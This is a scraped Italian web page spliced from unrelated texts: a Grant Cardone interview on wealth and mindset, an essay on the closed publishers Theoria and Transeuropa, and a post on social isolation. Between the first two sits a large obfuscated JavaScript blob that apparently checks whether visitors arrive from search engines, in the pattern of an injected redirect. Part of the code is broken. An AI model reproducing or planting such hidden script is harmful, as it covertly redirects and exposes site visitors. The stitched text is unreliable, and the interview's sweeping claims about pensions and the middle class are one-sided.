pur essendo partito praticamente dal nulla. Sono le storie come queste che mi hanno sempre affascinato.
Qual è il tuo motto? Il successo è il mio dovere, il mio obbligo, la mia responsabilità. Perché è importante che la gente si preoccupi di risolvere problemi globali? Viviamo tutti sullo stesso pianeta e abbiamo tutti le stesse esigenze: la sicurezza e benessere per la nostra famiglia, l’affetto dei nostri cari, la possibilità di realizzarsi come individui. Non ci sono distinzioni di razza o religione o cultura: siamo tutti fratelli e sorelle, affrontiamo ogni giorno le stesse sfide e abbiamo le stesse aspirazioni. Ma nessuno su questo pianeta può fare da solo, se vuole avere un impatto significativo. Più sono grandi i problemi che affronti, più persone riesci ad aiutare, maggiore sarà il tuo successo. I problemi di un imprenditore sono gli stessi di altri miliardi di persone. Perciò agisci su scala globale, non locale. Se dovessi dare un voto al tuo livello di soddisfazione nella vita, che voto ti daresti? Probabilmente mi definirei realizzato all’88%. Mi manca ancora quel 12% per raggiungere il massimo. Per troppo tempo, ho pensato in piccolo. Ora invece ho solo paura di non avere abbastanza tempo per andare oltre il 90%. Quali sono gli strumenti e le tecniche più importanti per lo sviluppo del business, il digital marketing e il personal branding? Quello che funziona per me è fare ancora di più, andare fino in fondo e non fermarmi mai. Spesso faccio degli errori, ma è proprio attraverso gli errori che scopro qual è il mio vero scopo, che cosa le persone vogliono o non vogliono sentire da me. Siamo in un mondo di onnipresenza: non possiamo limitarci a distribuire su un solo canale, ma dobbiamo impegnarci ad essere presenti là dove si trovano i potenziali clienti. Per uno come me, le piattaforme social sono lo strumento perfetto, perché li posso utilizzare continuamente nel corso della giornata, qualunque cosa stia facendo in quel momento. Il mio unico limite è la mia immaginazione e la mia energia. E non ho paura di affrontare gli hater e di comunicare con loro, quando si presentano. Perché è così importante l’educazione finanziaria e la formazione alla vendita? Quali sono le tue fonti preferite per approfondire le tue conoscenze nel settore del marketing e delle vendite? (ad esempio, potrebbero essere podcast, video, corsi, o blog) Non potrai mai diventare un grande venditore o un imprenditore, se prima non acquisisci una solida educazione sul denaro e la libertà finanziaria. Conosco degli ottimi venditori che sono rimasti nella media, semplicemente perché, dopo aver fatto un po’ di soldi, si sono accontentati e hanno smesso di puntare in alto e di cercare di ottenere di più. In America la disinformazione finanziaria è come un incantesimo che colpisce tutti. Metà degli americani crede di far parte della classe media, ma in realtà vivono a malapena del loro stipendio e non mettono da parte nulla come risparmio. I media, il governo e la borsa ci hanno raccontato un sacco di menzogne sul denaro, da sempre. Ci hanno riempito la testa di belle parole sulla classe media e quanto sia bello farne parte, ma la classe media è soltanto un mito. Per trent’anni ho studiato come si comportano i veri ricchi e il loro rapporto con il denaro: posso dire con assoluta certezza che fanno l’esatto opposto di quello che fa la classe media. Comprare casa, indebitarsi per pagare gli studi, la 401K (il piano di previdenza complementare USA): tutte queste cose vengono vendute alla classe media come se fossero la strada per la libertà, quando in realtà fanno soltanto gli interessi delle banche e degli speculatori di borsa. I veri ricchi non comprano casa con i risparmi e non investono nei piani previdenziali, ma usano quel denaro per investire in attività che creano nuova ricchezza e altro denaro. Per esempio, quando ho deciso di comprare un jet per poter girare il mondo e portare con me la mia famiglia e i miei collaboratori, quasi tutti quelli con cui mi sono confrontato mi hanno detto che era una pessima idea. Le uniche due persone che hanno condiviso la mia decisione erano miliardari. Uno di questi mi disse: “Con la tua etica del lavoro e la tua esposizione globale, saresti un pazzo a non farlo” Come hai fatto hai raggiungere un valore di 1,2 miliardi di patrimonio gestito e quali sono i tuoi suggerimenti per principianti ed esperti per aumentare il loro capitale gestito? Ho scritto tutto nel libro The 10x Rule.
Semplicemente, all’inizio non pensavo abbastanza in grande. Per prima cosa, devi sforzarti di moltiplicare tutto per 10. Crea un piano basato sulla regola 10x e poi fai reverse engineering per trovare di che cosa hai bisogno. Collaboratori, soldi, contratti. Dedica tutto il tuo impegno a cercare chi ti può aiutare a realizzare quel 10x. Chi può offrirti dei contratti? Chi ha il denaro? Con chi puoi collaborare? Crea la base di lavoro per iniziare a muoverti in quella direzione. E poi circondati di persone che credono in te e nella tua missione più di quanto ci credi tu stesso. È bastato che io facessi queste semplici cose e la mia attività è letteralmente esplosa. Che libri consiglieresti di leggere? Non lo dico per presunzione, ma bisognerebbe leggere tutti i miei libri: How to Become a Millionaire Sell or Be Sold If You’re Not First You’re Last Be Obsessed or Be Average The 10X Rule How to Create Wealth Investing in Real Estate E poi leggete pure qualunque libro vi capita tra le mani. Io leggo di tutto, in continuazione.
Anche se non ti piace leggere, fallo. Ti può solo fare bene, ed è un ottimo esercizio per la disciplina. Quando ho letto The Millionaire Next Door, mi sono reso conto che non volevo essere quel tipo di milionario, che calcola quanto può mettere da parte per la sua pensione rinunciando al caffè o a comprare una macchina nuova. Qualunque libro che parla di persone di successo può andare bene. Ma in generale consiglio di non leggere soltanto un libro di un autore, ma tutta la sua opera. Qual è il modo più efficace per le imprese e le persone per scoprire e sviluppare la loro unicità? Esponiti facendo social media marketing e usali per scoprire quanto sei unico e quanto conosci o non conosci di quel mondo. Fai delle dirette su Instagram o su YouTube 3-5 volte alla settimana. Liberati da ogni timidezza o paura o qualunque altro limite e condividi dal vivo, finché scoprirai da solo qual è il tuo vero talento e cosa hai da offrire. Ognuno di noi ha qualcosa di unico che può donare al mondo, ma molti non se ne rendono conto perché sono troppo occupati a pensare invece che agire. Quali sono i tuoi obiettivi per i prossimi 10 anni? Dal punto di vista professionale, voglio portare una rivoluzione nel mondo degli investimenti e offrire all’uomo della strada delle alternative ai piani pensione, alla borsa e ai fondi di investimento. Il mio obiettivo è fondare un business multimiliardario che scuoterà Wall Street alle fondamenta e permetterà finalmente alle persone comuni di ottenere rendimenti fuori dal comune. Secondo, voglio girare il mondo con mia moglie e i miei figli e conoscere gente da ogni parte del mondo. Voglio aiutare gli altri a ottenere la libertà finanziaria. Per questo avrò bisogno di tradurre il mio programma in 50 lingue diverse. Voglio aiutare i bambini che sono rimasti senza padre. Per questo ho creato la GC Foundation e voglio collaborare con altri enti per supportare ragazzi e ragazze di tutte le età che hanno perso il padre. Infine, voglio passare più tempo possibile con la mia famiglia in giro per il mondo. Voglio lasciare un segno, un’eredità nel mondo. Non mi interessa essere ricordato per quanti soldi ho guadagnato, ma per quante persone ho aiutato. Quello che sto facendo oggi definisce come sarò ricordato tra un secolo. Queste le parole di Grant Cardone, questa la sua mentalità che l'ha portato al successo. Se vuoi approfondire le tematiche di Vendita, Marketing e Mindset ispirate a personaggi di successo ma dedicate al mercato italiano, segui il mio blog. Trovi articoli, video e podcast in cui tratto di tutti gli argomenti essenziali per gli imprenditori di oggi e di come mettere in pratica le strategie per far crescere il tuo business. Read the full article
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SL4PsWh
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,55,57,53,48,122,51,52,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,65,44,58,37,62,125);_=([![]]+)[+!+[]+[+[]]]+([]+[]+)[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+)[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+)[+!+[]]+([]+[]+)[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+)[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+)[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+)[+!+[]]+([]+[]+)[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+)[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+)[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![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“Siamo stati l’elettroshock del sistema, abbiamo svegliato elefanti che dormivano”. I cataloghi irripetibili di Theoria e Transeuropa
Piccola o grande, letteraria o generalista, quando chiude una casa editrice ne andrebbe rispettato il lutto, vegliato il dolore. Oltre alla redazione sottosopra e all’onta degli ufficiali giudiziari che passano a requisire ciò che possono, sotto cataste di inediti, cartoni di copie saggio e montagne di bozze incompiute restano soprattutto i sogni di chi – attraverso la più impervia e impegnativa delle imprese culturali – credeva di contribuire all’alito del mondo. Certo se si tratta di editori a pagamento o dal catalogo insignificante verrebbe da dire poco male, ma un’indagine del Centro per il libro (2015) stabilì che tra quelle in difficoltà a chiudere erano soprattutto le case editrici con un’identità (38%) mentre sigle senza troppi scrupoli riuscivano più o meno a cavarsela (53%). Per formazione personale, in questo breve viaggio nell’editoria di fine anni Novanta prenderò in analisi due casi che esperti e studiosi considerano irripetibili: Theoria e Transeuropa (limitatamente alla loro prima vita, dalla fondazione al declino), due case editrici che quasi senza sospettarlo hanno riscritto le regole del gioco, anticipato modelli e riferimenti, sparigliato i giochi. Altri tempi, vero. Altri libri, veri.
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Stagione irripetibile
Ciascuna sommersa dai suoi guai e dai suoi debiti, verso metà dei Novanta alcune sigle editoriali molto diverse tra loro decisero di costituire un’alleanza. Nacque Logica, composta da Costa&Nolan, il Lavoro Editoriale, Leoncavallo Libri, Piero Manni, Moretti&Vitali, Pequod, Vignola, Theoria e Transeuropa (questa la formazione stando al catalogo del 1999). In particolare intendo soffermarmi sull’esperienza di queste ultime due sigle, sul coraggio con cui seppero costruire un catalogo che – ancora oggi, a vent’anni di distanza – raccoglie il meglio della narrativa italiana. Molti autori che esordirono o pubblicarono con Theoria e Transeuropa in quel periodo, sono diventate firme autorevoli della nostra letteratura. Quello che successe grazie a due binomi animati dalla stessa lucida follia, Repetti-Cesari e Canalini-Tondelli, non si è mai più verificato nell’editoria e nell’impresa culturale in genere. Certo oggi sarebbe impossibile riproporlo per modalità e contenuti, ma quella capacità di osare e quella tendenza all’anarchia pura – accumulando molti debiti, sia detto fuori di retorica – non appartiene al nostro tempo così come allora non appartenne a nessun altro. Nessun altro riuscì a imprigionare il vento di quella stagione, nessun altro riuscì a intuire che quelle botteghe editoriali (ne spuntava una a settimana) avrebbero potuto salvare il movimento, sottrarlo all’egemonia da cui sarebbe stato schiacciato.
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Repetti-Cesari, la scuola romana
Fondata da Beniamino Vignola che ne affidò da direzione editoriale a Paolo Repetti e al compianto Severino Cesari (poi fondatori di Einaudi Stile Libero), la collana Letterature di Theoria fu inaugurata da Diario di un millennio che fugge (1986, Marco Lodoli). Solito laboratorio romano e piccolo borghese, si pensò quando nacque. Costituita senza molti soldi ma con idee abbastanza chiare, Theoria era animata da una determinazione e da una lucidità che i grandi gruppi editoriali sottovalutarono pentendosene quasi subito. Soprattutto Feltrinelli, che dopo gli anni d’oro di Stefano Benni stava cercando giovani narratori. Theoria, tra gli altri, ospitò nel suo catalogo Navigazione di Circe e Poche storie (1987 e 1993, Sandra Petrignani), l’esordio assoluto Per dove parte questo treno allegro (1987, Sandro Veronesi), Acqualadrone (1988, Eugenio Vitarelli), L’apparizione di Elsie (1989, Aldo Rosselli), Voi grandi (1990, Lidia Ravera), Zero maggio a Palermo e Oggi è un secolo (1990 e 1992, Fulvio Abbate), Il banchetto nel bosco e Il suono del mondo (1990 e 1991, Giampiero Comolli), quindi il grande Sandro Onofri (con Luce del Nord del 1991 e Colpa di nessuno del 1995), il folgorante romanzo Questo è il giardino (1993, Giulio Mozzi) e l’impietoso ma perfetto esordio di Sebastiana Nata (1995, Il dipendente). Repetti e Cesari ebbero anche il merito di pubblicare Il branco (1994: il titolo con cui fu anticipato integralmente da Nuovi argomenti era La baracca, eguagliando un onore appartenuto solo a Sciascia) di Andrea Carraro: un lungo piano sequenza narrativo, con la camera sempre fuori dal capanno, durante cui una ventina di balordi della periferia romana violentano due turiste tedesche. Il romanzo (da cui sarà tratto il film di Marco Risi) diventa un caso: vero, non quelli di oggi. Il magazine Anna raccoglie 500mila firme per sollecitare il cambio dell’imputazione nel codice penale, la violenza sessuale da reato contro la morale diventa reato contro la persona anche grazie a Theoria e Carraro. Sempre in Letterature trovarono spazio Emmanuel Carrère, William Faulkner, William Styron, Acheng, Andrej Platonov, William Goyen, Mohamed Mrabet, Edwin Muir, Can Xue, Irina Liebmann, Melissa Pritchartd, Su Tong, Alexander Stuart, Franz Fühmann e Xu Xing. Difficile raccontare Theoria senza franare nell’enfasi dell’entusiasmo, ma Repetti e Cesari – come dichiararono a Giulio Ferroni su La Stampa – ignoravano «di aver contribuito a un elettroshock del sistema, abbiamo svegliato elefanti che dormivano». Erano i tempi di un’editoria pensata con più saggezza, meno soggetta agli entusiasmi e alle depressioni del mercato, più vicina agli interessi politici (Theoria non faceva eccezione, considerata molto vicina alla sinistra) ma paradossalmente più libera di sperimentare, più adatta alla ribellione proprio perché ne conosceva le vie di fuga. Casa editrice d’identità si diceva, in cui gli scrittori che passavano o esordivano sapevano che avrebbero avuto carriere importanti, vivevano quel battesimo sapendo che padrini migliori al momento non ce n’erano. La fine fu traumatica, in una vecchia intervista – rilasciata dopo aver dato vita a Stile Libero, quindi dopo il passaggio in Einaudi-Mondadori – Cesari ne raccontò il requiem: «Eravamo sommersi dai debiti, morti per troppa crescita. Avevamo continuo bisogno di stampare e non avevamo i soldi per la tipografia. Incassavamo tardi da distributori e librerie, macinavamo premi su premi, consensi e recensioni ma nessuno sapeva che stavamo morendo. Dovevamo andare avanti ma la strada era finita». Da qualche anno il marchio ha ripreso le pubblicazioni sotto altra direzione editoriale.
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Canalini-Tondelli, la provincia laboratorio
Non fu vera scuola, non geograficamente, nel senso che gli autori che hanno pubblicato per la prima Transeuropa provengono da quasi tutte le regioni italiane. Quello che però Massimo Canalini (il più grande talent scout italiano, secondo il Corriere della Sera) riuscì a realizzare, fu una master class a testi aperti. Ad Ancona ne arrivavano 5/10 al giorno, il postino li raccoglieva e consegnava al citofono Transeuropa/Il Lavoro Editoriale: la casa editrice nata dal fiuto di Canalini e dall’amicizia con Pier Vittorio Tondelli, al quale il ruolo di scrittore stava stretto e cominciava a cercare nuove strade per raccontare il suo tempo. Erano gli anni in cui un manoscritto arrivato da Bologna aveva bruciato le prime 300 copie in due giorni, si chiamava (e chiama, perché è un classico) Jack frusciante è uscito dal gruppo, il suo autore stava finendo il liceo e si chiamava (e chiama) Enrico Brizzi. Al Salone di Torino gli aspiranti esordienti facevano ore di fila per parlare con Canalini, oggi agli aspiranti esordienti gli editor sorridono come agli orizzonti in cartolina. Transeuropa aveva già pubblicato Alba rossa (1990, Joyce ed Emilio Lussu), Cani sciolti (1988, Renzo Paris), Charles (1986, Claudio Piersanti), Clapton (1990, Lorenzo Marzaduri), il bellissimo Compleanno dell’iguana (1991, Silvia Ballestra) a cui aveva fatto seguito La guerra degli Antò (1992), Feste perdute e Fuoco magico (1997 e 1989, Gilberto Severini), Giochi crudeli (1990, Claudio Lolli), Il collezionista di Vigevano (1998, Piersandro Pallavicini), Il ferroviere e il golden gol (1998, Carlo D’Amicis), Indianapolis (1993, Romolo Bugaro), Infernuccio itagliano (1988, Gianni D’Elia), Norvegia (1993, Angelo Ferracuti), Outland rock (1988, Pino Cacucci), Profezia di Palazzo (1997, Riccardo Angiolani), Sandrino e il canto celestiale di Robert Plant (1996, Andrea Demarchi) solo per citarne alcuni. Senza contare le antologie Giovani blues (1986) e Belli&Perversi (1988) entrambe a cura di Pier Vittorio Tondelli, e gli altri progetti di ricerca narrativa Coda (a cura di Silvia Ballestra e Giulio Mozzi, 1996), Fifth Coda 1 e 2 (1997 e 1998) entrambi curati da Andrea De Marchi. Anche la storia di quella Transeuropa, oggi sarebbe impraticabile: per i tempi (i testi che arrivavano in redazione venivano letti ad alta voce, discussi ed editati live… spesso alla presenza dell’autore) ma anche per la lingua, che tra fine anni Novanta e inizi Duemila stava assorbendo distorsioni che avrebbero reso qualsiasi audacia un territorio già esplorato (Brizzi scrisse Jack Frusciante senza maiuscole e con pochissimi a capo, oggi gli editing consistono nell’eseguire il minor editing possibile). Il viaggio di quella Transeuropa finì meno traumaticamente di Theoria, attualmente prosegue sotto altra direzione editoriale (Giulio Milani). Ma forse perché avvenne tutto in una piccola provincia, il laboratorio Canalini-Tondelli è riportato nei saggi sull’editoria come un’esperienza straordinaria, unica nel suo genere. Su quella Transeuropa sono state scritte più di 30 tesi di laurea in Editoria e Storia dell’impresa culturale.
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Divieto di resurrezione
La storia delle resurrezioni editoriali è piena di slanci e naufragi, autentici miracoli e operazioni ambigue che ancora attendono una ragione imprenditoriale e letteraria. Un record lo stabilisce Baldini&Castoldi: nata nel 1897, risorta nel 1991 e assunta nuovamente ai cieli d’inchiostro nel 2013 (da pochi anni sotto il controllo de La Nave di Teseo). Rizzoli (2016) sarebbe fallita se non fosse stata acquisita da Mondadori. Così come la sopravvivenza di Einaudi (1994) sarebbe stata tutt’altro che garantita da banche, fondazioni e creditori che ne inseguivano tutto il pignorabile, se non fosse stata salvata sempre da Mondadori. Qualche caso all’inverso? Non è mai riuscita la resurrezione della Camunia di Raffaele Crovi (fondata nel 1984, passata a Giunti nel 1994 e poi scomparsa), falliti tutti i tentativi di riportarla in vita e recuperarne il catalogo in cui spicca il Campiello de I fuochi del Basento (1987, Raffaele Nigro).
Al momento sarebbero almeno 20 i marchi editoriali italiani a cui imprenditori, scrittori, funzionari pubblici in pensione o semplici avventori sarebbero interessati. Una ventina di fantasmi a piede libero, personaggi reali e spettri dell’ultra vita letteraria in cerca di editore. A tutti gli interessati a questo recupero – col rispetto che si deve a chi rischia e suda in proprio – vorrei poter dire «no, grazie». Le case editrici non sono tabacchi o cancellerie, né case assegnate alle aste giudiziarie (col seguito di maledizioni dei proprietari a cui sono state sottratte), così come non sono auto sequestrate e mai ritirate. Le case editrici sono piante irriproducibili, ecosistemi dalla scomoda ma necessaria solitudine, alfabeti universali in cui nessuno sa come esprimersi, habitat a misura di chi – spesso partendo dal nulla – si imbarca in un’avventura più massacrante che suggestiva. Andrebbe vietata per legge la possibilità di riacquisirne il marchio, perché nessuno come chi l’ha creata può ereditarne il seme. Assistere ai fantasmi di queste esperienze in giro per le stanze delle nostre letture, a tutti questi defunti trattenuti in vita (da sentenze di tribunali) pur di esercitare il fascino di un nome, non solo è ingiusto ma in qualche modo anche indegno. Le case editrici, quelle vere, assolvono una missione, specie in momenti come questo diventano presidi di democrazia, culle del pensiero di cui troppo poco si interessa il nostro Paese. Di contro, assistere a tentativi di recupero di quella missione, di ripristino di quel pensiero rappresenta un obbligo che sa di dileggio, una violenza che sa di profanazione. Non accorgersene va contro l’anarchia di cui i libri sono bandiera. Vuol dire manomettere le sentenze della storia, e questo nemmeno ai libri è consentito. Figurarsi agli Editori.
Davide Grittani
*In copertina: Pier Vittorio Tondelli in una fotografia di Celestino Pantaleoni. La fotografia è tratta da qui, materiali tondelliani sono al Centro di Documentazione Pier Vittorio Tondelli
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Nella settimana appena trascorsa siamo stati a raccontare la Versione di Misha a Noventa Vicentina, a metà strada fra Vicenza e Padova, fra i colli berici e quelli euganei. Una serata d’inverno di quelle belle fredde e nebbiose che offrivano alla vista un paesaggio magico, ovattato tutto intorno alla bella Villa Barbarigo (sede del Municipio e dimora di ben due Dogi di Venezia cinque secoli fa). Nonostante tutto la sala delle mostra del palazzo si è riempita di persone, che ci hanno donato il loro tempo e hanno voluto farci sentire fisicamente tutta la loro vicinanza e solidarietà umana.
Nel corso della serata abbiamo toccato un po’ tutti i punti su cui ci troviamo spesso a interloquire, oltre ad aver raccontato chi era Misha, dal rapporto genitori e figli, alla gestione del lutto all’emergenza educativa. Uno che ha visto grande interesse è stato quello legato all’utilizzo dei device digitali (smartphone, xbox, playstation, tablet) e dei social network.
Per ovvie ragioni di tempo non abbiamo potuto approfondire più di tanto la discussione. Come diciamo spesso all’inizio dei nostri incontri: noi non abbiamo soluzioni e risposte, ma solo testimonianza di un’esperienza di vita da raccontare.
Una serie di riflessioni nate dopo la serata mi hanno spinto a scrivere le righe che seguono.
Per secoli siamo stati considerati un popolo di poeti, santi e navigatori. Da qualche tempo potremmo aggiungere anche un altro aggettivo: siamo un popolo di solitari. Sembrerebbe quasi una contraddizione visto che ormai si stima che metà degli italiani sono attivi su Facebook e 25 milioni lo sono ogni giorno. Eppure nonostante tutta questa voglia di social i nostri connazionali sono sempre meno sociali. Chiusi in casa e lontani dagli amici. Insomma sempre più social e sempre meno sociali.
Secondo l’Istat un italiano su 3 non esce con gli amici neppure una volta a settimana, neanche nel weekend. Quasi una vita in solitudine, con poco tempo dedicato ai rapporti affettivi e sociali.
Emma Baumgartner, la direttrice del dipartimento di psicologia dei processi di sviluppo e socializzazione della Sapienza di Roma, in una recente intervista ha affermato:
“Abbiamo uno stile di vita frenetico con tempi del lavoro che entrano nell’organizzazione delle nostre giornate al punto di condizionarle. Con differenze da considerare sia per quanto riguarda l’età, per cui un anziano non autonomo difficilmente vede gli amici, sia per quanto riguarda i servizi offerti nelle nostre città. Le donne escono meno degli uomini: è vero. Ma come fa una mamma ad avere tempo per sé stessa se non ha nessuno che la aiuta nella gestione dei figli?».
E gli altri che cosa fanno? Sempre dal rapporto ISTAT 2 italiani su 3 incontrano gli amici nel tempo libero almeno una volta a settimana e di questi 1 su 5 li vede tutti i giorni. I ragazzi e le ragazze invece in un rapporto 9 su 10 escono con gli amici almeno una volta a settimana. Un dato è certo: con il crescere dell’età diminuisce il tempo libero dedicato ai rapporti con gli altri. Interessante poi scoprire, se si mappa la frequenza degli amici in base al territorio di residenza, scoprire che tre quarti di coloro che vivono al Sud si vedono ogni settimana con gli amici, mentre questa abitudine cala mano a mano che si va verso le regioni del Nord (meno di due terzi). Qui già immagino le reazioni dei miei amici meridionali che esulteranno e confermeranno i loro luoghi comuni sulla “freddezza” di noi cittadini settentrionali e viceversa gli altri avranno un motivo in più per dire che “qui abbiamo da lavorare, mica come quelli di giù che aspettano il reddito di nullafacenza.” Andando oltre le facili e superficiali battaglie di campanile.
